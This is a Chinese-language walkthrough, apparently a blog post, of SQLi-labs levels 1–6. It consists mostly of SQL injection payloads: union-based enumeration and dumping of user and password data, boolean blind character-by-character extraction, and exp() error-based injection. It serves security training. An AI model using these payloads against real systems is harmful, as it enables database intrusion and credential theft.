SQL注入详解 1-6关

less-1(联合注入,跨库查询)

主页如图,输入参数id出存在sql注入
在这里插入图片描述

  1. 判断注入类型
    输入1’让其报错,从报错信息我们可以看到这可能是单引号字符型注入
    在这里插入图片描述
  2. 验证注入类型
#页面返回正常
1' and 1=1--+

在这里插入图片描述

#页面返回不正常
1' and 1=2--+

在这里插入图片描述
所以该注入类型为单引号字符型

  1. 确定字段数
#返回正常
1' order by 3--+

在这里插入图片描述

#返回异常
1' order by 4--+

在这里插入图片描述
多以可以看出该字段数为3

  1. 确定显示位置
-1' union select 1,2,3--+

在这里插入图片描述

  1. 查询数据库基本信息
#MySQL数据库版本
version()

#数据库用户名
user()

#数据库名
database()

#数据库路径
@@datadir

#操作系统版本
@@version_compile_os
-1' union select 1,version(),user()--+

在这里插入图片描述

-1' union select 1,database(),@@datadir--+

在这里插入图片描述

-1' union select 1,2,@@version_compile_os--+

在这里插入图片描述

  1. 查询所有数据库名
-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+

在这里插入图片描述

  1. 查询数据库’mysql’中所有的表(注意:查询的并不是当前数据库中表,当前数据库名为security)
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='mysql'--+

在这里插入图片描述

  1. 查询数据库’mysql’中user表中所有的列
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user' and table_schema='mysql'--+

在这里插入图片描述
9. 查询用户数据

-1' union select  1,User,3  from mysql.user --+

在这里插入图片描述

less-2(联合注入)

  1. 通过报错信息可以看出该注入为数字型注入
    在这里插入图片描述
  2. 验证注入类型
#页面返回正常
1 and 1=1--+

在这里插入图片描述

#页面返回不正常
1 and 1=2--+

在这里插入图片描述

  1. 判断字段数
1 order by 3

在这里插入图片描述

1 order by 4

在这里插入图片描述
可以看出注入的字段数为3

  1. 判断显示位置
-1 and union select 1,2,3

在这里插入图片描述

  1. 查询当前数据库名
-1 union select 1,2,database()

在这里插入图片描述

  1. 查询表名
-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

在这里插入图片描述

  1. 查询列名
-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

在这里插入图片描述

  1. 查询数据
-1 union select 1,group_concat(username),group_concat(password) from users 

在这里插入图片描述

less-3(联合注入)

  1. 判断注入类型
    在这里插入图片描述
1') and 1=1--+

在这里插入图片描述

1') and 1=2--+

在这里插入图片描述

  1. 判断注入的字段数
1') order by 3--+

在这里插入图片描述

1') order by 4--+

在这里插入图片描述

  1. 判断显示位置
-1') union select 1,2,3--+

在这里插入图片描述

  1. 查询所有的库
-1') union select 1,2,group_concat(schema_name) from information_schema.schemata --+

在这里插入图片描述

  1. 查询数据库mysql中所有的表
-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='mysql'--+

在这里插入图片描述

  1. 查询列
-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user' and table_schema='mysql'--+

在这里插入图片描述

  1. 查询数据
-1') union select 1,group_concat(User),3 from mysql.user--+

在这里插入图片描述

less-4(联合注入)

  1. 判断注入类型
    在这里插入图片描述
1") and 1=1--+

在这里插入图片描述

1") and 1=2--+

在这里插入图片描述

  1. 判断字段数
1") order by 3--+

在这里插入图片描述

1") order by 4--+

在这里插入图片描述
3. 判断显示位置

-1") union select 1,2,3--+

在这里插入图片描述

-1") union select 1,2,database()--+

在这里插入图片描述
4. 查询当前数据库中所有的表

-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

在这里插入图片描述
5. 查询users表中所有的列

-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

在这里插入图片描述
6. 查询数据

-1") union select 1,group_concat(username),group_concat(password) from users--+

在这里插入图片描述

less-5(布尔盲注)

  1. 判断注入类型
    在这里插入图片描述
1' and 1=1--+

在这里插入图片描述

1' and 1=2 --+

在这里插入图片描述
2. 判断字段数

1' order by 3--+

在这里插入图片描述

1' order by 4--+

在这里插入图片描述

  1. 发现没有显示位置
-1' union select 1,2,3--+

在这里插入图片描述

  1. 猜解当前数据库名的长度
1' and length(database())=8--+

在这里插入图片描述

  1. 二分法查库名
    查询库名的第一个字母
1' and left(database(),1)>'a'--+
1' and left(database(),1)>'m'--+
1' and left(database(),1)>'u'--+
1' and left(database(),1)='s'--+
#所以库名的第一个字母为s

在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述

查询库名的第二个字母

1' and left(database(),2)>'sa'--+
1' and left(database(),2)>'sm'--+
1' and left(database(),2)>'se'--+
1' and left(database(),2)='se'--+
#所以库名的第二个字母为e

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
以此类推,当前库名为 ‘security’

  1. 猜解库security中表的个数
1' and (select count(table_name) from information_schema.tables where table_schema='security')=3--+
1' and (select count(table_name) from information_schema.tables where table_schema='security')=4--+

在这里插入图片描述
在这里插入图片描述
可以看出库security中有四个表

  1. 猜解第一个表名的长度
1' and length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))=5--+
1' and length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))=6--+
#第一个表名的长度为6

在这里插入图片描述

在这里插入图片描述

  1. 二分法猜解第一个表名
    二分法查询第一个表的第一个字母
1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>97--+
1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>110--+
1' and  ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101--+
1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100--+
1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101--+
#所以第一个表名的第一个字母为e

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
二分法查询第一个表的第二个字母

1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))=109--+
#这里和上述步骤一样,只是将函数substr()修改了一下,只选取第二个字母

在这里插入图片描述
以此类推,第一个表名为emails

  1. 二分法猜解第二个表名
    查询第二个表名的长度
1' and length(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1))=8--+

在这里插入图片描述

查询第二个表名的第一个字母

1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114--+
#这里猜解步骤与前面相同,第一个字母为r

在这里插入图片描述

查询第二个表名的第二个字母

1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1))=101--+
#这里猜解步骤与前面相同,第一个字母为e

在这里插入图片描述
最后猜解出的表名为referers

以此类推可以猜解出4个表名emails,referers,uagents,users

  1. 猜解users表中的字段数
#与前面猜解表名方法相同,有三个字段
1' and (select count(column_name) from information_schema.columns where table_name='users')=3--+

在这里插入图片描述

  1. 猜解第一个字段的长度
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=2--+

在这里插入图片描述

  1. 二分法猜解第一个列名
    查询第一个列名的第一个字母,
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105--+
#第一个列名的第一个字母为i

在这里插入图片描述

查询第一个列名的第二·个字母,

1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))=100--+
#第一个列名的第二个字母为d

在这里插入图片描述

以此类推,可以查询到所有列名id,username,password

  1. 查询password例中有多少个数据内容
1' and (select count(password) from users)=13--+

在这里插入图片描述

  1. 查询passwords列中第一个数据的长度
1' and length(substr((select password from users limit 0,1),1))=4--+

在这里插入图片描述

  1. 查数据内容
1' and left((select password from users limit 0,1),1)='D' --+
1' and left((select password from users limit 0,1),2)='Du'--+
1' and left((select password from users limit 0,1),3)='Dum'--+
1' and left((select password from users limit 0,1),4)='Dumb'--+

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
以此类推,可以查询到所有的数据

less-6(exp报错注入)

  1. 双引号字符型注入
    在这里插入图片描述
1" and 1=1--+

在这里插入图片描述

1" and 1=2--+

在这里插入图片描述

  1. 查看当前数据库
1" union select 1,2,exp(~(select * from (select database())a))--+

在这里插入图片描述

  1. 查看所有的列
1" union select 1,2,exp(~(select * from (select group_concat(table_name) from information_schema.tables where table_schema='security')a))--+

在这里插入图片描述

  1. 查询users表中所有的列
1" union select 1,2,exp(~(select * from (select group_concat(column_name) from information_schema.columns where table_name='users')a))--+

在这里插入图片描述

  1. 查询表users中username列中所有的数据
1" union select 1,2,exp(~(select * from (select group_concat(username) from users)a))--+

在这里插入图片描述

1" union select 1,2,exp(~(select * from (select group_concat(password) from users)a))--+

在这里插入图片描述

总结:
前四关是简单的联合注入,主要考察判断注入类型,注入类型的判断很重要。第五关与第六关主要考察盲注,这里也有很多的注入方法,布尔盲注,时间盲注。也可以使用报错注入(exp报错注入,updatexml报错注入,extractvalue()报错注入,floor()报错注入,)

  • 3
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值